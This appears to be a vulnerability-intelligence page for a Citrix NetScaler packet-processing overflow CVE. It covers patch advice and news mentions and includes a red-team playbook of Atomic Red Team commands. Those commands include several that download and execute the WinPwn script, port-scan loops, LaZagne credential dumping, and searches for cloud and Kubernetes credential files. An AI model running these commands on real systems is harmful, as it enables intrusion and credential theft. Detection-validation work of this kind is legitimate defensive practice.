CVE-2026-120868
Overview
This vulnerability is a memory overflow occurring within the packet processing component of Citrix NetScaler ADC and NetScaler Gateway. The flaw arises from improper handling of packet data, leading to buffer overflow conditions during network traffic processing. The affected feature is the core packet processing module responsible for analyzing and forwarding incoming network packets.
Vulnerability Description
Memory overflow in Packet Processing can lead to unpredictable or erroneous behavior or Denial of Service in NetScaler ADC and NetScaler Gateway.
Impact
An unauthenticated attacker can exploit this vulnerability remotely by sending crafted packets to the NetScaler ADC or Gateway, causing unpredictable behavior or denial of service conditions. This can disrupt network traffic management and potentially cause service outages. No user interaction or credentials are required, enabling attackers to impact availability of critical network infrastructure components, affecting business continuity and network reliability.
Solution
Citrix has released security updates addressing this memory overflow in NetScaler ADC and NetScaler Gateway. Users should apply the patches referenced in Citrix article CTX697305 immediately. The advisory provides detailed instructions for upgrading to fixed versions of the product. No specific workarounds are recommended; patching is the primary remediation step. Refer to https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697305 for full patch details and installation guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (27)
26 mentions from 13 sources in the last 7 days BuzzFactor 81 / 100
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social bsky.app @abijita.bsky.social 2026-11-13 11:53 UTCCitrix Fixes 28 NetScaler Flaws, One Affects All Deployments Citrix released fixes for 28 NetScaler ADC and Gateway flaws, including CVE-2026-120868, which affects every deployment and can cause denial of service.Open source
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news rescana.com 2026-11-13 11:00 UTCCitrix NetScaler ADC and Gateway CVE-2026-120868: Critical Bulletin, 28 Flaws — Patch Now - RescanaOpen source
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news securityweek.com 2026-11-13 09:36 UTCCitrix Patches 10 Critical NetScaler Vulnerabilities - SecurityWeekOpen source
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social bsky.app @threataft.bsky.social 2026-11-13 08:43 UTCCitrix NetScaler CTX697305: 28 CVEs, 9 critical. The 9.3 (CVE-2026-120868) hits core packet processing with no precondition — every NetScaler, default config, no workaround. October builds vulnerable again. Fixed: 14.1-73.57 / 13.1-64.39.…Open source
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news meteoraweb.com 2026-11-13 07:42 UTCCitrix NetScaler, 10 critical vulnerabilities to fix - Meteora WebOpen source
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social bsky.app @infosec.skyfleet.blue 2026-11-13 06:02 UTCCitrix NetScaler: When the Enterprise Gateway Becomes the RiskOpen source
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social bsky.app @suriq.io 2026-11-13 02:46 UTC⚠️ PATCH NOW Citrix fixed 28 memory flaws in NetScaler ADC and Gateway. One, CVE-2026-120868 (CVSS 9.3), hits every appliance in its default configuration. No workaround and no exploitation reported yet. Upgrade to 14.1-73.57 or 13.1-64.39…Open source
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news hkcert.org 2026-11-13 02:07 UTCCitrix Products Multiple Vulnerabilities - Hong Kong Computer Emergency Response Team Coordination CentreOpen source
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social bsky.app @stemshop.bsky.social 2026-11-13 02:07 UTC🚨 CVE-2026-120868 — CVSS 9.3 CRITICAL Memory overflow in Packet Processing can lead to unpredictable or erroneous behavior or Denial of Service i... 🔎 https://stemshop.top/cve/CVE-2026-120868 #CVE #CyberSecurity #InfoSecOpen source
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social bsky.app @stackflag.bsky.social 2026-11-13 01:00 UTCCVE-2026-120868 - adc A coding mistake in the packet handling code of Citrix NetScaler ADC and NetScaler Gateway can cause memory to be overwritten. This may make the devices behave unpredictably, stop… Too many irrelevant or confusing CVE…Open source
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social bsky.app @eventmonitor.bsky.social 2026-11-13 00:45 UTCDeveloping: Critical NetScaler ADC Vulnerability (CVE-2026-120868) https://cyber.eventmonitor.net/incident/EM-20261113-JCC9/critical-netscaler-adc-vulnerability-cve-2026-120868/ #news #cybersecurityOpen source
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social infosec.exchange @vuldb 2026-11-13 00:29 UTC⚠️ A severe vulnerability was disclosed for Citrix ADC and Gateway (CVE-2026-120868) https://vuldb.com/vuln/436583Open source
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social bsky.app @offseq.bsky.social 2026-11-13 00:00 UTCCitrix NetScaler ADC faces CRITICAL memory overflow (CVE-2026-120868, CVSS 9.3). Denial of service risk — no privileges needed. Upgrade to 14.1-73.58/13.1-64.39. Details: https://radar.offseq.com/threat/cve-2026-120868-memory-overflow-in-p…Open source
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social infosec.exchange @offseq 2026-11-13 00:00 UTCCVE-2026-120868 is a CRITICAL memory overflow in Citrix NetScaler ADC/Gateway (CVSS 9.3). Exploitation leads to denial of service or erratic behavior. Patch to 14.1-73.58/13.1-64.39 now. Details: https://radar.offseq.com/threat/cve-2026-12…Open source
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social bsky.app @cyfar.ca 2026-11-12 20:01 UTC~Certeu~ Citrix NetScaler ADC and Gateway have 28 memory flaws, including two unauthenticated critical bugs affecting all deployments; no exploitation reported. - IOCs: CVE-2026-120868, CVE-2026-107412 - #DenialOfService #MemoryCorruption…Open source
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social bsky.app @newssecia.bsky.social 2026-11-12 18:52 UTC🤖 Citrix patches 12 NetScaler flaws. Top: CVE-2026-120868 (CVSS 9.3), memory overflow in the packet engine of ADC/Gateway, allowing DoS or auth bypass. https://thehackernews.com/2026/11/citrix-patches-12-netscaler-and-secure.htmlOpen source
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social infosec.exchange @cloud 2026-11-12 18:52 UTC🤖 Citrix patches 12 NetScaler / Secure Access flaws, led by CVE-2026-120868 (CVSS 9.3): memory overflow in the packet engine of NetScaler ADC & Gateway, enabling DoS or authentication bypass. Fixed builds released for both. 🔗 https:// theh…Open source
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social bsky.app @postac001.bsky.social 2026-11-12 17:29 UTCCitrix NetScaler ADC/Gatewayに認証バイパスやDoSを引き起こす脆弱性(CVE-2026-120868等)があり、パッチが公開されました。Open source
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social bsky.app @infosec.skyfleet.blue 2026-11-12 16:56 UTCCitrix Patches 12 NetScaler and Secure Access Client Flaws, Including Authentication BypassOpen source
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news news.lavx.hu 2026-11-12 16:23 UTCCitrix patches 12 NetScaler and Secure Access Client flaws, including authentication bypass - news.lavx.huOpen source
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social bsky.app @veduis.bsky.social 2026-11-12 16:11 UTCCitrix ships patches for 12 NetScaler and Secure Access Client flaws. CVE-2026-120868 scores 9.3 CVSS: memory overflow in packet processing, enabling auth bypass and DoS on NetScaler ADC and Gateway.Open source
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social bsky.app @thehackernews.com.web.brid.gy 2026-11-12 15:38 UTCOpen source
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news thehackernews.com 2026-11-12 15:38 UTCCitrix Patches 12 NetScaler and Secure Access Client Flaws, Including Authentication Bypass - The Hacker NewsOpen source
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social infosec.exchange @116797276219291526 2026-11-12 15:01 UTCCitrix NetScaler vulnerabilities fixed: CVE-2026-120868 hits default setups, CVE-2026-120869 bypasses Console login. Upgrade to 14.1-73.57 now. # Citrix # NetScaler # CVE # Vulnerability # PatchNow # DoS # PrivilegeEscalation # CyberSecuri…Open source
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social bsky.app @securityonline.bsky.social 2026-11-12 15:01 UTCCitrix NetScaler vulnerabilities fixed: CVE-2026-120868 hits default setups, CVE-2026-120869 bypasses Console login. Upgrade to 14.1-73.57 now. #Citrix #NetScaler #CVE #Vulnerability #PatchNow #DoS #PrivilegeEscalation #CyberSecurity #Info…Open source
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advisory vulnerability.circl.lu 2026-11-12 13:09 UTCOpen source
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code github.com ThomasPoppelgaard 2026-09-28 11:20 UTCThomasPoppelgaard/netscaler-ctx697096-checkerOpen source
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-120868 |
| support.citrix.com |
GitHub CVE
|
https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697305 |